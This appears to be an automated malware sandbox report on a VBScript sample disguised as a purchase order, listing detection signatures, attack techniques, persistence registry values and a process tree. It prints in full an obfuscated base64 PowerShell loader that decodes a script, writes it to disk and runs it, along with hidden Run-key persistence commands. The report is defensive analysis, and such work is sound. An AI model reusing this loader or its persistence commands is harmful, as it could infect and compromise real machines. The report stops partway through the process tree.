a8a0be677ad5d9c3f7329ed06c48b71dbe159c4a5130c0285aeffcf4f1c45857

Analysis

max time kernel
150s
max time network
134s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/08/2026, 18:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
purchaseorder-a0215-26683.vbs
Size 88KB
Sample260807-ws5psstxb1
SHA256 a8a0be677ad5d9c3f7329ed06c48b71dbe159c4a5130c0285aeffcf4f1c45857
MD5 34344d5a8d91a56c47daca16b7f11484
SHA1 d7b9d2573ec34c8dc93d6678163068a4e6ce5c45
SHA512 b86e0c951a858232a658caa8acc979cc7193552230edab805ad138de49171d0e1df78c87526d7ec0a57d0fcbaf99895cb42ffe7d73bf646d298d4972c9c3e8eb
SSDEEP 1536:J1f3333333ekiaZ5SWDManfY6F333333333333333Z:J1f3333333eFK5SWDManfY6F3333333Z
TLSH
T19F935716F8EB8508A1B25A4F4993F1B50ABF791A2D7DC58814CED78A4FC3900D8617BF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	1924	powershell.exe
9	2564	powershell.exe
10	2564	powershell.exe
12	2564	powershell.exe
13	2564	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1116	powershell.exe
1924	powershell.exe
2564	powershell.exe
4664	powershell.exe
3428	powershell.exe
704	powershell.exe
5656	powershell.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Windows\CurrentVersion\Run\Drivers Update-868 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -c \". 'C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\uflrm.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Drivers Update-071 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -c \". 'C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\uflrm.ps1' \";exit"	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4300	WScript.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
2564	powershell.exe
2564	powershell.exe
704	powershell.exe
704	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 704 set thread context of 2000	704	powershell.exe	133

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 13 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3172	cmd.exe
4956	cmd.exe
5036	cmd.exe
6104	cmd.exe
1860	cmd.exe
4476	cmd.exe
4620	cmd.exe
5832	cmd.exe
2432	cmd.exe
4460	cmd.exe
4852	cmd.exe
4980	cmd.exe
4172	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 26 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2140	PING.EXE
420	PING.EXE
1860	cmd.exe
980	PING.EXE
4956	cmd.exe
5036	cmd.exe
5760	PING.EXE
6104	cmd.exe
416	PING.EXE
4380	PING.EXE
4476	cmd.exe
4172	cmd.exe
3172	cmd.exe
896	PING.EXE
4460	cmd.exe
4980	cmd.exe
1848	PING.EXE
4656	PING.EXE
4620	cmd.exe
3552	PING.EXE
5832	cmd.exe
568	PING.EXE
2432	cmd.exe
4852	cmd.exe
5500	PING.EXE
1488	PING.EXE

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3384	ipconfig.exe
4872	ipconfig.exe

Runs ping.exe 1 TTPs 13 IoCs

Remote System Discovery

T1018

pid	Process
5500	PING.EXE
1488	PING.EXE
980	PING.EXE
416	PING.EXE
4656	PING.EXE
420	PING.EXE
3552	PING.EXE
568	PING.EXE
5760	PING.EXE
4380	PING.EXE
1848	PING.EXE
896	PING.EXE
2140	PING.EXE

Suspicious behavior: EnumeratesProcesses 29 IoCs

pid	Process
5656	powershell.exe
5656	powershell.exe
1924	powershell.exe
1924	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
1116	powershell.exe
1116	powershell.exe
1116	powershell.exe
2564	powershell.exe
2564	powershell.exe
4664	powershell.exe
2564	powershell.exe
4664	powershell.exe
3428	powershell.exe
3428	powershell.exe
704	powershell.exe
704	powershell.exe
704	powershell.exe
704	powershell.exe
704	powershell.exe
704	powershell.exe
704	powershell.exe
704	powershell.exe
704	powershell.exe
704	powershell.exe
704	powershell.exe
704	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
704	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5656	powershell.exe
Token: SeDebugPrivilege	1924	powershell.exe
Token: SeDebugPrivilege	2564	powershell.exe
Token: SeDebugPrivilege	1116	powershell.exe
Token: SeIncreaseQuotaPrivilege	1116	powershell.exe
Token: SeSecurityPrivilege	1116	powershell.exe
Token: SeTakeOwnershipPrivilege	1116	powershell.exe
Token: SeLoadDriverPrivilege	1116	powershell.exe
Token: SeSystemProfilePrivilege	1116	powershell.exe
Token: SeSystemtimePrivilege	1116	powershell.exe
Token: SeProfSingleProcessPrivilege	1116	powershell.exe
Token: SeIncBasePriorityPrivilege	1116	powershell.exe
Token: SeCreatePagefilePrivilege	1116	powershell.exe
Token: SeBackupPrivilege	1116	powershell.exe
Token: SeRestorePrivilege	1116	powershell.exe
Token: SeShutdownPrivilege	1116	powershell.exe
Token: SeDebugPrivilege	1116	powershell.exe
Token: SeSystemEnvironmentPrivilege	1116	powershell.exe
Token: SeRemoteShutdownPrivilege	1116	powershell.exe
Token: SeUndockPrivilege	1116	powershell.exe
Token: SeManageVolumePrivilege	1116	powershell.exe
Token: 33	1116	powershell.exe
Token: 34	1116	powershell.exe
Token: 35	1116	powershell.exe
Token: 36	1116	powershell.exe
Token: SeIncreaseQuotaPrivilege	1116	powershell.exe
Token: SeSecurityPrivilege	1116	powershell.exe
Token: SeTakeOwnershipPrivilege	1116	powershell.exe
Token: SeLoadDriverPrivilege	1116	powershell.exe
Token: SeSystemProfilePrivilege	1116	powershell.exe
Token: SeSystemtimePrivilege	1116	powershell.exe
Token: SeProfSingleProcessPrivilege	1116	powershell.exe
Token: SeIncBasePriorityPrivilege	1116	powershell.exe
Token: SeCreatePagefilePrivilege	1116	powershell.exe
Token: SeBackupPrivilege	1116	powershell.exe
Token: SeRestorePrivilege	1116	powershell.exe
Token: SeShutdownPrivilege	1116	powershell.exe
Token: SeDebugPrivilege	1116	powershell.exe
Token: SeSystemEnvironmentPrivilege	1116	powershell.exe
Token: SeRemoteShutdownPrivilege	1116	powershell.exe
Token: SeUndockPrivilege	1116	powershell.exe
Token: SeManageVolumePrivilege	1116	powershell.exe
Token: 33	1116	powershell.exe
Token: 34	1116	powershell.exe
Token: 35	1116	powershell.exe
Token: 36	1116	powershell.exe
Token: SeIncreaseQuotaPrivilege	1116	powershell.exe
Token: SeSecurityPrivilege	1116	powershell.exe
Token: SeTakeOwnershipPrivilege	1116	powershell.exe
Token: SeLoadDriverPrivilege	1116	powershell.exe
Token: SeSystemProfilePrivilege	1116	powershell.exe
Token: SeSystemtimePrivilege	1116	powershell.exe
Token: SeProfSingleProcessPrivilege	1116	powershell.exe
Token: SeIncBasePriorityPrivilege	1116	powershell.exe
Token: SeCreatePagefilePrivilege	1116	powershell.exe
Token: SeBackupPrivilege	1116	powershell.exe
Token: SeRestorePrivilege	1116	powershell.exe
Token: SeShutdownPrivilege	1116	powershell.exe
Token: SeDebugPrivilege	1116	powershell.exe
Token: SeSystemEnvironmentPrivilege	1116	powershell.exe
Token: SeRemoteShutdownPrivilege	1116	powershell.exe
Token: SeUndockPrivilege	1116	powershell.exe
Token: SeManageVolumePrivilege	1116	powershell.exe
Token: 33	1116	powershell.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 4300 wrote to memory of 5656	4300	WScript.exe	89
PID 5656 wrote to memory of 1924	5656	powershell.exe	91
PID 1924 wrote to memory of 3384	1924	powershell.exe	92
PID 1924 wrote to memory of 4872	1924	powershell.exe	93
PID 1924 wrote to memory of 5916	1924	powershell.exe	94
PID 1924 wrote to memory of 4724	1924	powershell.exe	95
PID 1924 wrote to memory of 2564	1924	powershell.exe	96
PID 2564 wrote to memory of 2432	2564	powershell.exe	98
PID 2432 wrote to memory of 5760	2432	cmd.exe	99
PID 2564 wrote to memory of 4460	2564	powershell.exe	100
PID 2564 wrote to memory of 4852	2564	powershell.exe	101
PID 2564 wrote to memory of 4980	2564	powershell.exe	102
PID 2564 wrote to memory of 6104	2564	powershell.exe	103
PID 2564 wrote to memory of 1860	2564	powershell.exe	104
PID 4460 wrote to memory of 1488	4460	cmd.exe	105
PID 4852 wrote to memory of 5500	4852	cmd.exe	106
PID 4980 wrote to memory of 980	4980	cmd.exe	107
PID 6104 wrote to memory of 416	6104	cmd.exe	108
PID 1860 wrote to memory of 4380	1860	cmd.exe	109
PID 2564 wrote to memory of 4476	2564	powershell.exe	110
PID 4476 wrote to memory of 1848	4476	cmd.exe	111
PID 2564 wrote to memory of 4172	2564	powershell.exe	112
PID 2564 wrote to memory of 3172	2564	powershell.exe	113
PID 2564 wrote to memory of 4956	2564	powershell.exe	114
PID 2564 wrote to memory of 5036	2564	powershell.exe	115
PID 4172 wrote to memory of 420	4172	cmd.exe	116
PID 4956 wrote to memory of 4656	4956	cmd.exe	117
PID 3172 wrote to memory of 2140	3172	cmd.exe	118
PID 5036 wrote to memory of 896	5036	cmd.exe	119
PID 2564 wrote to memory of 1116	2564	powershell.exe	120
PID 2564 wrote to memory of 4620	2564	powershell.exe	122
PID 4620 wrote to memory of 3552	4620	cmd.exe	123
PID 2564 wrote to memory of 5832	2564	powershell.exe	124
PID 5832 wrote to memory of 568	5832	cmd.exe	125
PID 2564 wrote to memory of 1132	2564	powershell.exe	126
PID 2564 wrote to memory of 4664	2564	powershell.exe	127
PID 2564 wrote to memory of 3428	2564	powershell.exe	128
PID 2564 wrote to memory of 704	2564	powershell.exe	129
PID 2564 wrote to memory of 5692	2564	powershell.exe	131
PID 704 wrote to memory of 2000	704	powershell.exe	133
PID 704 wrote to memory of 2000	704	powershell.exe	133
PID 704 wrote to memory of 2000	704	powershell.exe	133
PID 704 wrote to memory of 2000	704	powershell.exe	133

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\purchaseorder-a0215-26683.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:4300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -c "$EbaYA ;$BnWKB ;$BnWKB = 'DQo7JE' + ' + 9 + ' + 'jckptTC' + ' + A + ' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uQml' + '0' + 'Q2' + ' + 9 + ' + 'udmVydGVyXTo6R2V' + '0' + 'Qnl' + '0' + 'ZXMoNj' + ' + A + ' + '4Mj' + ' + A + ' + 'wNCk7DQokclVwVndPQTUgPS' + ' + A + ' + 'xNTsNCjskWFY' + '0' + 'Ui' + ' + A + ' + '' + ' + 9 + ' + 'ICc1OTU' + '0' + 'N2IzZjcxNTQ1NTU1NTg1MzNmNzY1YzU3NzYzZjVjNjM2MDg3NWQ1MzU' + '0' + 'M2Y1YzYwN2E1YTU4NTI1MDc2NTg1NTgzNjI3MzY2NDQzZjcwNjY' + '0' + 'MDdiNWI3YTdiODQ3MzU2NjU4ODcxNDI1MTYzNjk2NzU5NDE3MDY2NWQ3YjcyODg' + '0' + 'NDVkNjg2NzU5ODk3MDU2NTU4MjY3NjM3ZTQ1NjU' + '0' + 'MjU5N2Y3MzU2NjU1OTcxN2Q2MDg5NWM3ODc2N2E2MzU1NzM4MjYwNDE' + '0' + 'MzgyNTg1MjYxNTk3MzU2ODc1MTYxNjI3YTRjJzsNCjsNCmZ1bmN' + '0' + 'aW' + ' + 9 + ' + 'uIExvYWRCdWZmZXI5NigkaCwgJHMpIHs7DQogIC' + ' + A + ' + 'gJHFxc2JjUHIgPS' + ' + A + ' + 'nJzsNCi' + ' + A + ' + 'gICBmb3IgKCRpID' + '0' + 'gMDsgJGkgLWx' + '0' + 'ICRoLkxlbmd' + '0' + 'aDsgJGkgKz' + '0' + 'gMikgezsNCi' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gW3ZvaWRdKCRpIC1ieG' + ' + 9 + ' + 'yIDMyKTsNCi' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gJGIgPSBbQ2' + ' + 9 + ' + 'udmVydF' + '0' + '6OlRvSW5' + '0' + 'MzIoJGguU3Vic3RyaW5nKCRpLC' + ' + A + ' + 'yKSw' ;$EbaYA = 'gMTYpOw' + '0' + 'KIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'kcXFzYmNQci' + ' + A + ' + 'rPSBbY2hhcl' + '0' + 'oKCRiIC' + '0' + 'gJHMgKy' + ' + A + ' + 'yNTYpICUgMjU2KTsNCi' + ' + A + ' + 'gICB' + ' + 9 + ' + 'Ow' + '0' + 'KIC' + ' + A + ' + 'gIHJldHVybi' + ' + A + ' + 'kcXFzYmNQcjsNCn' + '0' + '7DQokTU' + '0' + 'wemZKcy' + ' + A + ' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjguR2V' + '0' + 'U3RyaW5nKFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uQ2' + ' + 9 + ' + 'udmVydF' + '0' + '6OkZyb21CYXNlNjRTdHJpbmcoJChMb2FkQnVmZmVyOTYgJFhWNFIgJHJVcFZ3T' + '0' + 'E1KSkpOw' + '0' + 'KSW52b2tlLUNvbW1hbmQgKFtTY3JpcHRCbG' + ' + 9 + ' + 'ja1' + '0' + '6OkNy' + 'ZW' + 'F' + '0' + 'ZSgkTU' + '0' + 'wemZKcykpOw' + '0' + 'KDQo7DQo7aXBjb25maWcgL3JlbGVhc2UgfCBPdXQtTnVsbDsNCjtpcGNvbmZpZy' + ' + A + ' + 'vcmVuZXcgfCBPdXQtTnVsbDsNCjtuZXRzaCB3aW5zb2NrIHJlc2V' + '0' + 'IHwgT3V' + '0' + 'LU51bGw7DQo7bmV' + '0' + 'c2ggaW5' + '0' + 'IGlwIHJlc2V' + '0' + 'IHwgT3V' + '0' + 'LU51bGw7DQoNClN' + '0' + 'YXJ' + '0' + 'LVNs' + 'ZW' + 'VwIC1T' + 'ZW' + 'NvbmRzIDUgOw' + '0' + 'KDQpbU3lzdGVtLk5ldC5TZXJ2aWNlUG' + ' + 9 + ' + 'pbnRNYW5hZ2VyXTo6U2VjdXJpdHlQcm' + ' + 9 + ' + '' + '0' + 'b2NvbC' + ' + A + ' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LlNlY3VyaXR5UHJvdG' + ' + 9 + ' + 'jb2xUeXBlXTo6VGxzMTIgLWJvciBbU3lzdGVtLk5ldC5T' + 'ZW' + 'N1cml' + '0' + 'eVByb3RvY2' + ' + 9 + ' + 'sVHlwZV' + '0' + '6OlRsczEzIDsNCg' + '0' + 'KOyRzbXl4SzsNCjtGdW5jdGlvbiBkV3ZMT3s7DQo7W2J5dGVbXV' + '0' + 'kRFZLWV' + ' + A + ' + 'gPSBbc3lzdGVtLkNvbnZlcnRdOjpGcm' + ' + 9 + ' + 'tQmFzZTY' + '0' + 'U3RyaW5nKC' + ' + A + ' + 'kc215eEsgKTsNCjskZmpkTWYgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN' + '0' + 'cmluZyggJERWS1lQICk7DQo7cmV' + '0' + 'dXJuICRmamRNZjsNCn' + '0' + '7DQoNCiRkV1dDTi' + ' + A + ' + '' + ' + 9 + ' + 'ICggJ' + '0' + 'M6XFVzZXJzXFB1YmxpY1wnICsgJ3JwbGZtLnR4dCcpIDskaFJsYWkgPS' + ' + A + ' + 'nYUhSMGNITTZMeScgKy' + ' + A + ' + 'oJzloYiRfJF8kXyRfJF8kX1J5WldabGJHbHdaV1J2YiRfJF8kXyRfJF8kX' + '0' + 'Z6WTJsdFpURTNPRE' + '0' + '' + '0' + 'TicgLXJlcGxhY2UgLC' + ' + A + ' + 'nXCRfXCRfXCRfXCRfXCRfXCRfJywgJ2' + '0' + 'nKS' + ' + A + ' + 'rICdqazFPVFE1TnpndU1qQXlNRE14TWk1dFpYVnphWFJsYUc5emRHZGhkRzl5TG1OdmJTNWljaTlrUkZsd1ZGOHhOMTh3TjE5TlpYVnpYMkZ5Y1hWcGRtOXpYMFJsWDFSbGVIUnZMekF6TG5SNGRBPT' + '0' + 'nIDskc215eEsgPS' + ' + A + ' + 'kaFJsYWk7ICRoUmxhaS' + ' + A + ' + '' + ' + 9 + ' + 'IGRXdkxPIDskaFJsYWkgfCBPdXQtRmlsZS' + ' + A + ' + 'tRmlsZVBhdGggJGRXV' + '0' + 'NOIC1FbmNvZGluZy' + ' + A + ' + 'nVVRGOCcgLWZvcmNlIDs7JE15VENtID' + '0' + 'gKC' + ' + A + ' + 'nQzpcVXNlcnNcUHVibGljXCcgKy' + ' + A + ' + 'neXZzaGYudHh' + '0' + 'JykgOyRteHZybC' + ' + A + ' + '' + ' + 9 + ' + 'IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5X' + 'ZW' + 'JDbGllbnQgOyRteHZybC5FbmNvZGluZy' + ' + A + ' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjggOyRteHZybC5I' + 'ZW' + 'FkZXJzLkFkZChbU3lzdGVtLk5ldC5IdHRwUmVxdWVzdEhlYWRlcl' + '0' + '6OkNhY2hlQ2' + ' + 9 + ' + 'udHJvbCwgJ25vLWNhY2hlJykgOyRteHZybC5I' + 'ZW' + 'FkZXJzLkFkZChbU3lzdGVtLk5ldC5IdHRwUmVxdWVzdEhlYWRlcl' + '0' + '6OlByYWdtYSwgJ25vLWNhY2hlJykgOyRteHZybC5Qcm' + ' + 9 + ' + '4eS' + ' + A + ' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LldlYlJlcXVlc3RdOjpHZXRTeXN' + '0' + '' + 'ZW' + '1X' + 'ZW' + 'JQcm' + ' + 9 + ' + '4eSgpIDskbXh2cmwuUHJveHkuQ3JlZGVudGlhbHMgPSBbU3lzdGVtLk5ldC5DcmVk' + 'ZW' + '5' + '0' + 'aWFsQ2FjaGVdOjpE' + 'ZW' + 'ZhdWx' + '0' + 'TmV' + '0' + 'd2' + ' + 9 + ' + 'ya' + '0' + 'Ny' + 'ZW' + 'RlbnRpYWxzIDskWkRyalYgID' + '0' + 'gKCBHZXQtQ2' + ' + 9 + ' + 'udGVudC' + ' + A + ' + 'tUGF' + '0' + 'aC' + ' + A + ' + 'kZFdXQ' + '0' + '4gKS' + ' + A + ' + '7JFN6S3dWID' + '0' + 'gJG14dnJsLkRvd25sb2FkRGF' + '0' + 'YSggJFpEcmpWLlRyaW' + '0' + 'oKS' + ' + A + ' + 'pIDskeGtkY3YgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN' + '0' + 'cmluZygkU3pLd1YpIDskeGtkY3YgPS' + ' + A + ' + 'oQChbcmVnZXhdOjpzcGxpdCgkeGtkY3YsJ1wleCUrJykpWzFdKS5UcmltKCkgOyR4a2RjdiB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + ' + A + ' + 'kTXlUQ2' + '0' + 'gLWZvcmNlIDs7JFNEZHd3ID' + '0' + 'gJ' + '0' + 'xvJy' + ' + A + ' + 'rICdhZCc7JEhJd1laID' + '0' + 'gJ' + '0' + 'Fzc2UnICsgJ21ibHknOyRzWUtVUi' + ' + A + ' + '' + ' + 9 + ' + 'ICdpbnYnICsgJ2' + ' + 9 + ' + 'rZSc7JHhVdEdBID' + '0' + 'gJ1JlZmxlJy' + ' + A + ' + 'rICdjdGlvbic7JHN' + '0' + 'V2lsID' + '0' + 'gJG51bGw7JGdoYmd3ICs' + ' + 9 + ' + 'ICckUkJCZlogPS' + ' + A + ' + 'oJydoIHQgdHBzIDogLy' + ' + A + ' + 'vJycuUmVwbGFjZSgnJy' + ' + A + ' + 'nJywgJycnJykgKy' + ' + A + ' + 'nJ2FuZHJlZmVsaXBlZG' + ' + 9 + ' + 'uYXNjaW1lMTc4Mzg2OTU5NDk3OC4yMDIwMzEyLm1ldXNpdGVob3N' + '0' + 'Z2F' + '0' + 'b3IuY2' + ' + 9 + ' + 'tLmJyLycnICsgJydkRFlwVF8xN18wN1' + ' + 9 + ' + 'NZXVzX2FycXVpdm' + ' + 9 + ' + 'zX' + '0' + 'RlX1RleHRvLycnICsgJydQZVllcycnKS' + ' + A + ' + '7Jy' + ' + A + ' + '7JGdoYmd3ICs' + ' + 9 + ' + 'ICckemdIb1cgPS' + ' + A + ' + 'nJyViYXNlNjQlYzI1eWIyTnBibFYwYzI5d2NHMWhUQzluY2' + '0' + '4dWRHVnVMV' + '0' + '11WlhSellY57eSdkx6cHpjSFIwYee3kj' + '0' + '' + ' + 9 + ' + 'JycgOyR6Z' + '0' + 'hvVy' + ' + A + ' + '' + ' + 9 + ' + 'ICgkemdIb1cgLXJlcGxhY2UgJyfnt5InJy' + ' + A + ' + 'sICcnQScnKS' + ' + A + ' + '7OyRjVEZ6Ti' + ' + A + ' + '' + ' + 9 + ' + 'ICggJydDOlxVc2Vyc1xQdWInJy' + ' + A + ' + 'rICcnbGljXCcnICsgJyd5dnNoZi5' + '0' + 'eHQnJykgOyRoamxubi' + ' + A + ' + '' + ' + 9 + ' + 'IChHZXQtQ2' + ' + 9 + ' + 'udGVudC' + ' + A + ' + 'tUGF' + '0' + 'aC' + ' + A + ' + 'kY1RGek4gLUVuY2' + ' + 9 + ' + 'kaW5nIFVURjgpOycgOyRnaGJndy' + ' + A + ' + 'rPS' + ' + A + ' + 'nJGhqbG5uIC1yZXBsYWNlICcnICcnLC' + ' + A + ' + 'nJycnIDsnIDskZ2hiZ3cgKz' + '0' + 'gJ1tieXRlW11dJHlmZndwID' + '0' + 'gW1N5c3RlbS5Db2xs' + 'ZW' + 'N' + '0' + 'aW' + ' + 9 + ' + 'ucy5H' + 'ZW' + '5lcmljLkxpc3RbQnl' + '0' + 'ZV1dOjpuZXcoKTsnIDskZ2hiZ3cgKz' + '0' + 'gJyR5ZmZ3cC' + ' + A + ' + '' + ' + 9 + ' + 'ICgkaGpsbm4gIC1zcGxpdC' + ' + A + ' + 'nJywnJyB8IEZvckVhY2gtT2Jq' + 'ZW' + 'N' + '0' + 'IHsgW2J5dGVdKCRfLlRyaW' + '0' + 'oKSkgfSkgOyc7JGdoYmd3ICs' + ' + 9 + ' + 'ICckd21IeEcgPSBbU3lzdGVtLicgKy' + ' + A + ' + 'keFV' + '0' + 'R' + '0' + 'EgKy' + ' + A + ' + 'nLicgKy' + ' + A + ' + 'kSEl3WVogKy' + ' + A + ' + 'nXTo6Jy' + ' + A + ' + 'rICRTRGR3dy' + ' + A + ' + 'rICcoICR5ZmZ3cC' + ' + A + ' + 'pOycgOyRnaGJndy' + ' + A + ' + 'rPS' + ' + A + ' + 'nJGp' + '0' + 'VmxiID' + '0' + 'gJHdtSHhHLkdldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy' + ' + A + ' + 'pOycgOyRnaGJndy' + ' + A + ' + 'rPS' + ' + A + ' + 'nJENTWXRVID' + '0' + 'gJGp' + '0' + 'VmxiLkdldE1ldGhvZCggJydwck' + 'ZW' + 'SScnICkuJy' + ' + A + ' + 'rICRzWUtVUi' + ' + A + ' + 'rICcoICRzdFdpbC' + ' + A + ' + 'sIFtvYmplY3RbXV' + '0' + 'gKC' + ' + A + ' + 'kemdIb1cgLC' + ' + A + ' + 'nJyV2VmxHeiUnJy' + ' + A + ' + 'sICcnRCBEREM6XFdpbmRvd3NcTWljcm' + ' + 9 + ' + 'zb2Z' + '0' + 'Lk5FVFxGcmFtZScgKy' + ' + A + ' + 'nd2' + ' + 9 + ' + 'yazY' + '0' + 'XHY' + '0' + 'Lj' + ' + A + ' + 'uMz' + ' + A + ' + 'zMTlcaW5zdGFsbHV' + '0' + 'aWwnJywgJyckZmFsc2UnJywgJFJCQmZaICkgKTsnIDskdWpvblggPS' + ' + A + ' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + ' + A + ' + 'rICdwZ3RrdF8wMS5wczEnICkgOyRnaGJndyB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + ' + A + ' + 'kdWpvblggLWZvcmNlIDtTdGFydC1TbGVlcC' + ' + A + ' + 'tcy' + ' + A + ' + '1Oztwb3dlcnNo' + 'ZW' + 'xsIC1FeGVjdXRpb25Qb2xpY3kgYnlwYXNzIC1GaWxlICR1am' + ' + 9 + ' + 'uWC' + ' + A + ' + '7Ow==' ;$EGWnp = ($BnWKB + $EbaYA) ;$EGWnp = $EGWnp.replace('''',$null) ;$EGWnp = $EGWnp.replace('+ ',$null) ;$EGWnp = $EGWnp.replace(' ',$null) ;Function HZhwO{;$hqDsO = [System.Text.Encoding]::UTF8.GetString([system.Convert]::FromBase64String($EGWnp)) ;return $hqDsO ;};$oNxhz = HZhwO; $oNxhz = ($oNxhz -replace '%vVlGz%','C:\Users\Admin\AppData\Local\Temp\purchaseorder-a0215-26683SlCjVvbs') ;$MqRnx = 'C:\Users\Public\' + 'QMhMR' + '.ps1' ;$oNxhz | Out-File -FilePath $MqRnx -force ; powershell -ExecutionPolicy Bypass -file $MqRnx ; "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5656
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file C:\Users\Public\QMhMR.ps1
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1924
  - - C:\Windows\system32\ipconfig.exe
      "C:\Windows\system32\ipconfig.exe" /release
      4⤵
      Gathers network information
      PID:3384
  - - C:\Windows\system32\ipconfig.exe
      "C:\Windows\system32\ipconfig.exe" /renew
      4⤵
      Gathers network information
      PID:4872
  - - C:\Windows\system32\netsh.exe
      "C:\Windows\system32\netsh.exe" winsock reset
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:5916
  - - C:\Windows\system32\netsh.exe
      "C:\Windows\system32\netsh.exe" int ip reset
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:4724
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -File C:\Users\Public\pgtkt_01.ps1
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of NtSetInformationThreadHideFromDebugger
